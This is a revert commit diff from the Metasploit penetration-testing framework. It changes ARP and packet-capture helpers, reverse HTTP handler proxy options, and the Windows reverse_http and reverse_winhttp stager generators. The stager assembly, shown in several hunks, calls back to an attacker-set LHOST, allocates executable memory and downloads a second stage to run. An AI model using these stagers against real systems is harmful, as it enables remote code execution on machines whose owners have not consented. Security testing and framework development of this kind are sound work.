Revert "Merge master"

This reverts commit 2056ff6899.
bug/bundler_fix
Matt Buck 2015-03-19 11:08:25 -05:00
parent 2056ff6899
commit d329a724bc
32 changed files with 365 additions and 1069 deletions

Binary file not shown.

View File

@ -145,7 +145,7 @@ download_more:
test eax,eax ; download failed? (optional?)
jz failure
mov ax, word ptr [edi]
mov rax, [rdi]
add rbx, rax ; buffer += bytes_received
test rax,rax ; optional?

View File

@ -42,7 +42,7 @@ module Msf
[
true,
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
'8.8.8.8']),
'www.metasploit.com']),
OptPort.new('GATEWAY_PROBE_PORT',
[
false,
@ -143,6 +143,7 @@ module Msf
return unless self.capture
self.capture = nil
self.arp_capture = nil
GC.start()
end
def capture_extract_ies(raw)
@ -162,15 +163,26 @@ module Msf
end
#
# Loop through each packet
# This monstrosity works around a series of bugs in the interrupt
# signal handling of Ruby 1.9
#
def each_packet
return unless capture
@capture_count ||= 0
capture.each do |pkt|
yield(pkt)
@capture_count += 1
begin
@capture_count = 0
reader = framework.threads.spawn("PcapReceiver", false) do
capture.each do |pkt|
yield(pkt)
@capture_count += 1
end
end
reader.join
rescue ::Exception
raise $!
ensure
reader.kill if reader.alive?
end
@capture_count
end
@ -230,9 +242,10 @@ module Msf
pcap.inject(pkt)
Rex.sleep((delay * 1.0)/1000)
end
GC.start
end
# capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
# Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
# a payload and a destination address. To send to the broadcast address, set bcast
# to true (this will guarantee that packets will be sent even if ARP doesn't work
# out).
@ -249,20 +262,24 @@ module Msf
# The return value either be a PacketFu::Packet object, or nil
def inject_reply(proto=:udp, pcap=self.capture)
# Defaults to ~2 seconds
to = (datastore['TIMEOUT'] * 4) / 1000.0
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap
begin
::Timeout.timeout(to) do
pcap.each do |r|
packet = PacketFu::Packet.parse(r)
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
return packet
reply = nil
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
if not pcap
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)"
else
begin
::Timeout.timeout(to) do
pcap.each do |r|
packet = PacketFu::Packet.parse(r)
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
reply = packet
break
end
end
rescue ::Timeout::Error
end
rescue ::Timeout::Error
end
nil
return reply
end
# This ascertains the correct Ethernet addresses one should use to
@ -311,19 +328,20 @@ module Msf
end
begin
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
::Timeout.timeout(to) do
loop do
my_packet = inject_reply(:udp, self.arp_capture)
next unless my_packet
next unless my_packet.payload == secret
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
return [dst_mac, src_mac]
while (my_packet = inject_reply(:udp, self.arp_capture))
if my_packet.payload == secret
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
return [dst_mac, src_mac]
else
next
end
end
end
rescue ::Timeout::Error
# Well, that didn't work (this is common on networks where there's no gateway, like
# Well, that didn't work (this common on networks where there's no gatway, like
# VMWare network interfaces. We'll need to use a fake source hardware address.
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
end
@ -336,31 +354,26 @@ module Msf
return self.arp_cache[:gateway] unless should_arp? target_ip
source_ip = Rex::Socket.source_address(target_ip)
raise RuntimeError, "Could not access the capture process." unless self.arp_capture
p = arp_packet(target_ip, source_ip)
# Try up to 3 times to get an ARP response
1.upto(3) do
inject_eth(:eth_type => 0x0806,
:payload => p,
:pcap => self.arp_capture,
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
)
begin
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
::Timeout.timeout(to) do
loop do
my_packet = inject_reply(:arp, self.arp_capture)
next unless my_packet
next unless my_packet.arp_saddr_ip == target_ip
inject_eth(:eth_type => 0x0806,
:payload => p,
:pcap => self.arp_capture,
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
)
begin
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
::Timeout.timeout(to) do
while (my_packet = inject_reply(:arp, self.arp_capture))
if my_packet.arp_saddr_ip == target_ip
self.arp_cache[target_ip] = my_packet.eth_saddr
return self.arp_cache[target_ip]
else
next
end
end
rescue ::Timeout::Error
end
rescue ::Timeout::Error
end
nil
end
# Creates a full ARP packet, mainly for use with inject_eth()

View File

@ -76,6 +76,7 @@ module Exploit::Remote::Ipv6
return if not @ipv6_icmp6_capture
@ipv6_icmp6_capture = nil
GC.start()
end
#

View File

@ -256,11 +256,11 @@ module ReverseHopHttp
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
:proxyhost => datastore['PROXYHOST'],
:proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD']
blob = encode_stage(blob)

View File

@ -58,12 +58,18 @@ module ReverseHttp
], Msf::Handler::ReverseHttp)
end
# Toggle for IPv4 vs IPv6 mode
#
def ipv6?
Rex::Socket.is_ipv6?(datastore['LHOST'])
end
# Determine where to bind the server
#
# @return [String]
def listener_address
if datastore['ReverseListenerBindAddress'].to_s == ""
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
if datastore['ReverseListenerBindAddress'].to_s.empty?
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
else
bindaddr = datastore['ReverseListenerBindAddress']
end
@ -71,12 +77,14 @@ module ReverseHttp
bindaddr
end
# Return a URI suitable for placing in a payload
#
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
"#{scheme}://#{uri_host}:#{datastore['LPORT']}/"
if ipv6?
listen_host = "[#{listener_address}]"
else
listen_host = listener_address
end
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
end
# Return a URI suitable for placing in a payload.
@ -150,7 +158,6 @@ module ReverseHttp
'VirtualDirectory' => true)
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
lookup_proxy_settings
end
#
@ -168,45 +175,6 @@ module ReverseHttp
protected
#
# Parses the proxy settings and returns a hash
#
def lookup_proxy_settings
info = {}
return @proxy_settings if @proxy_settings
if datastore['PayloadProxyHost'].to_s == ""
@proxy_settings = info
return @proxy_settings
end
info[:host] = datastore['PayloadProxyHost'].to_s
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
info[:type] = datastore['PayloadProxyType'].to_s
uri_host = info[:host]
if Rex::Socket.is_ipv6?(uri_host)
uri_host = "[#{info[:host]}]"
end
info[:info] = "#{uri_host}:#{info[:port]}"
if info[:type] == "SOCKS"
info[:info] = "socks=#{info[:info]}"
else
info[:info] = "http://#{info[:info]}"
if datastore['PayloadProxyUser'].to_s != ""
info[:username] = datastore['PayloadProxyUser'].to_s
end
if datastore['PayloadProxyPass'].to_s != ""
info[:password] = datastore['PayloadProxyPass'].to_s
end
end
@proxy_settings = info
end
#
# Parses the HTTPS request
#
@ -236,8 +204,8 @@ protected
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
unless datastore['PayloadProxyHost'].blank?
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
unless datastore['PROXYHOST'].blank?
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end
@ -300,11 +268,11 @@ protected
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
:proxyhost => datastore['PROXYHOST'],
:proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD']
resp.body = encode_stage(blob)

View File

@ -40,11 +40,11 @@ module ReverseHttpsProxy
[
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]),
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
], Msf::Handler::ReverseHttpsProxy)
register_advanced_options(

View File

@ -27,13 +27,7 @@ module Payload::Windows::ReverseHttp
super
register_advanced_options(
[
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
OptInt.new('HTTPStagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
], self.class)
end
@ -47,8 +41,7 @@ module Payload::Windows::ReverseHttp
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW))
end
conf = {
@ -56,13 +49,7 @@ module Payload::Windows::ReverseHttp
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
exitfunk: datastore['EXITFUNC']
}
generate_reverse_http(conf)
@ -88,7 +75,7 @@ module Payload::Windows::ReverseHttp
#
def generate_uri
uri_req_len = datastore['StagerURILength'].to_i
uri_req_len = datastore['HTTPStagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
@ -96,7 +83,7 @@ module Payload::Windows::ReverseHttp
end
if uri_req_len < 5
raise ArgumentError, "Minimum StagerURILength is 5"
raise ArgumentError, "Minimum HTTPStagerURILength is 5"
end
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
@ -125,49 +112,23 @@ module Payload::Windows::ReverseHttp
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# Proxy options?
space += 200
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [String] :proxy_host The optional proxy server host to use
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
# Dynamic payload generation
#
def asm_reverse_http(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
if proxy_enabled
if opts[:proxy_type].to_s.downcase == "socks"
proxy_info << "socks="
else
proxy_info << "http://"
end
proxy_info << opts[:proxy_host].to_s
if opts[:proxy_port].to_i > 0
proxy_info << ":#{opts[:proxy_port]}"
end
end
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
#
# options should contain:
# ssl: (true|false)
# url: "/url_to_request"
# host: [hostname]
# port: [port]
# exitfunk: [process|thread|seh|sleep]
#
http_open_flags = 0
@ -192,11 +153,14 @@ module Payload::Windows::ReverseHttp
asm = %Q^
;-----------------------------------------------------------------------------;
; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------;
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
@ -204,108 +168,53 @@ module Payload::Windows::ReverseHttp
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
xor ebx, ebx ; Set ebx to NULL to use in future arguments
^
if proxy_enabled
asm << %Q^
internetopen:
push ebx ; DWORD dwFlags
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
call get_proxy_server
db "#{proxy_info}", 0x00
get_proxy_server:
; LPCTSTR lpszProxyName (via call)
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
^
else
asm << %Q^
internetopen:
push ebx ; DWORD dwFlags
push ebx ; LPCTSTR lpszProxyBypass (NULL)
push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
^
end
set_retry:
push.i8 8 ; retry 8 times should be enough
pop edi
xor ebx, ebx ; push 8 zeros ([1]-[8])
mov ecx, edi
push_zeros:
push ebx
loop push_zeros
internetopen:
; DWORD dwFlags [1]
; LPCTSTR lpszProxyBypass (NULL) [2]
; LPCTSTR lpszProxyName (NULL) [3]
; DWORD dwAccessType (PRECONFIG = 0) [4]
; LPCTSTR lpszAgent (NULL) [5]
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
asm << %Q^
internetconnect:
push ebx ; DWORD_PTR dwContext (NULL)
push ebx ; dwFlags
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
; DWORD_PTR dwContext (NULL) [6]
; dwFlags [7]
push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; password (NULL)
push ebx ; username (NULL)
push #{opts[:port]} ; PORT
call got_server_uri ; double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
server_uri: ; server_host; server_uri is saved in EDI for later
db "#{opts[:url]}", 0x00
got_server_host:
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
mov esi, eax ; Store hConnection in esi
^
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
# doesn't set the Proxy-Authorization header on the CONNECT request.
if proxy_enabled && proxy_user
asm << %Q^
; DWORD dwBufferLength (length of username)
push #{proxy_user.length}
call set_proxy_username
proxy_username:
db "#{proxy_user}",0x00
set_proxy_username:
; LPVOID lpBuffer (username from previous call)
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
if proxy_enabled && proxy_pass
asm << %Q^
; DWORD dwBufferLength (length of password)
push #{proxy_pass.length}
call set_proxy_password
proxy_password:
db "#{proxy_pass}",0x00
set_proxy_password:
; LPVOID lpBuffer (password from previous call)
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
asm << %Q^
httpopenrequest:
push ebx ; dwContext (NULL)
; dwContext (NULL) [8]
push #{"0x%.8x" % http_open_flags} ; dwFlags
push ebx ; accept types
push ebx ; referrer
push ebx ; version
push edi ; server URI
push ebx ; method
push esi ; hConnection
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
xchg esi, eax ; save hHttpRequest in esi
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request:
^
@ -320,9 +229,9 @@ module Payload::Windows::ReverseHttp
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp
push 4 ; sizeof(dwFlags)
push.i8 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
@ -363,7 +272,7 @@ module Payload::Windows::ReverseHttp
asm << %Q^
allocate_memory:
push 0x40 ; PAGE_EXECUTE_READWRITE
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is

View File

@ -40,11 +40,10 @@ module Payload::Windows::ReverseHttps
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_reverse_https(
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW),
ssl: true)
end
conf = {
@ -52,13 +51,7 @@ module Payload::Windows::ReverseHttps
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
exitfunk: datastore['EXITFUNC']
}
generate_reverse_https(conf)

View File

@ -36,8 +36,7 @@ module Payload::Windows::ReverseWinHttp
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
url: generate_small_uri)
end
conf = {
@ -45,8 +44,7 @@ module Payload::Windows::ReverseWinHttp
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
retry_count: datastore['StagerRetryCount']
exitfunk: datastore['EXITFUNC']
}
generate_reverse_winhttp(conf)
@ -100,32 +98,23 @@ module Payload::Windows::ReverseWinHttp
join(",")
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
# Dynamic payload generation
#
def asm_reverse_winhttp(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
verify_ssl = nil
encoded_cert_hash = nil
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
verify_ssl = true
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
end
#
# options should contain:
# ssl: (true|false)
# url: "/url_to_request"
# host: [hostname]
# port: [port]
# exitfunk: [process|thread|seh|sleep]
#
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])
http_open_flags = 0
@ -148,52 +137,46 @@ module Payload::Windows::ReverseWinHttp
push esp ; Push a pointer to the "winhttp" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "winhttp" )
^
if verify_ssl
asm << %Q^
load_crypt32:
push 0x00323374 ; Push the string 'crypt32',0
push 0x70797263 ; ...
push esp ; Push a pointer to the "crypt32" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wincrypt" )
^
end
set_retry:
push.i8 6 ; retry 6 times
pop edi
xor ebx, ebx
mov ecx, edi
asm << %Q^
xor ebx, ebx
push_zeros:
push ebx ; NULL values for the WinHttpOpen API parameters
loop push_zeros
WinHttpOpen:
push ebx ; Flags
push ebx ; ProxyBypass (NULL)
push ebx ; ProxyName (NULL)
push ebx ; AccessType (DEFAULT_PROXY= 0)
push ebx ; UserAgent (NULL) [1]
; Flags [5]
; ProxyBypass (NULL) [4]
; ProxyName (NULL) [3]
; AccessType (DEFAULT_PROXY= 0) [2]
; UserAgent (NULL) [1]
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
call ebp
WinHttpConnect:
push ebx ; Reserved (NULL)
push ebx ; Reserved (NULL) [4]
push #{opts[:port]} ; Port [3]
call got_server_uri ; Double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in edi for later
server_uri: ; server_host; server_uri is saved in EDI for later
db #{encoded_url}
got_server_host:
push eax ; Session handle returned by WinHttpOpen
push eax ; Session handle returned by WinHttpOpen [1]
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
call ebp
WinHttpOpenRequest:
push #{"0x%.8x" % http_open_flags}
push ebx ; AcceptTypes (NULL)
push ebx ; Referrer (NULL)
push ebx ; Version (NULL)
push edi ; ObjectName (URI)
push ebx ; Verb (GET method) (NULL)
push eax ; Connect handle returned by WinHttpConnect
push.i32 #{"0x%.8x" % http_open_flags}
push ebx ; AcceptTypes (NULL) [6]
push ebx ; Referrer (NULL) [5]
push ebx ; Version (NULL) [4]
push edi ; ObjectName (URI) [3]
push ebx ; Verb (GET method) (NULL) [2]
push eax ; Connect handler returned by WinHttpConnect [1]
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
call ebp
xchg esi, eax ; save HttpRequest handler in esi
@ -209,9 +192,9 @@ module Payload::Windows::ReverseWinHttp
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
mov eax, esp
push 4 ; sizeof(buffer)
push.i8 4 ; sizeof(buffer)
push eax ; &buffer
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
call ebp
@ -219,11 +202,6 @@ module Payload::Windows::ReverseWinHttp
end
asm << %Q^
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request:
WinHttpSendRequest:
@ -237,7 +215,7 @@ module Payload::Windows::ReverseWinHttp
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
call ebp
test eax,eax
jnz check_response ; if TRUE call WinHttpReceiveResponse API
jnz receive_response ; if TRUE call WinHttpReceiveResponse API
try_it_again:
dec edi
@ -259,79 +237,12 @@ module Payload::Windows::ReverseWinHttp
^
end
# Jump target if the request was sent successfully
asm << %Q^
check_response:
^
# Verify the SSL certificate hash
if verify_ssl
asm << %Q^
ssl_cert_get_context:
push 4
mov ecx, esp ; Allocate &bufferLength
push 0
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
push ecx ; &bufferLength
push ebx ; &buffer
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
push esi ; hHttpRequest
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
; ebx
ssl_cert_allocate_hash_space:
push 20 ;
mov ecx, esp ; Store a reference to the address of 20
sub esp,[ecx] ; Allocate 20 bytes for the hash output
mov edi, esp ; edi will point to our buffer
ssl_cert_get_server_hash:
push ecx ; &bufferLength
push edi ; &buffer (20-byte SHA1 hash)
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
push [ebx] ; *pCert
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
ssl_cert_start_verify:
call ssl_cert_compare_hashes
db #{encoded_cert_hash}
ssl_cert_compare_hashes:
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
; edi points to the server-provided certificate hash
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
pop ecx ;
mov edx, ecx ; Keep a reference to 4 in edx
ssl_cert_verify_compare_loop:
mov eax, [ebx] ; Grab the next DWORD of the hash
cmp eax, [edi] ; Compare with the server hash
jnz failure ; Bail out if the DWORD doesn't match
add ebx, edx ; Increment internal hash pointer by 4
add edi, edx ; Increment server hash pointer by 4
loop ssl_cert_verify_compare_loop
; Our certificate hash was valid, hurray!
ssl_cert_verify_cleanup:
xor ebx, ebx ; Reset ebx back to zero
^
end
asm << %Q^
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handle for WinHttpReadData
push ebx ; Reserved (NULL)
push esi ; Request handler returned by WinHttpSendRequest
; first to get a valid handler for WinHttpReadData
push ebx ; Reserved (NULL) [2]
push esi ; Request handler returned by WinHttpSendRequest [1]
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
call ebp
test eax,eax
@ -340,7 +251,7 @@ module Payload::Windows::ReverseWinHttp
asm << %Q^
allocate_memory:
push 0x40 ; PAGE_EXECUTE_READWRITE
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
@ -388,8 +299,6 @@ module Payload::Windows::ReverseWinHttp
asm
end
end
end

View File

@ -2,7 +2,6 @@
require 'msf/core'
require 'msf/core/payload/windows/reverse_winhttp'
require 'rex/parser/x509_certificate'
module Msf
@ -18,17 +17,6 @@ module Payload::Windows::ReverseWinHttps
include Msf::Payload::Windows::ReverseWinHttp
#
# Register reverse_winhttps specific options
#
def initialize(*args)
super
register_advanced_options(
[
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
], self.class)
end
#
# Generate and compile the stager
#
@ -49,38 +37,13 @@ module Payload::Windows::ReverseWinHttps
#
def generate
verify_cert = false
verify_cert_hash = nil
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
unless datastore['HandlerSSLCert']
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
else
verify_cert = true
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
end
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
end
end
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
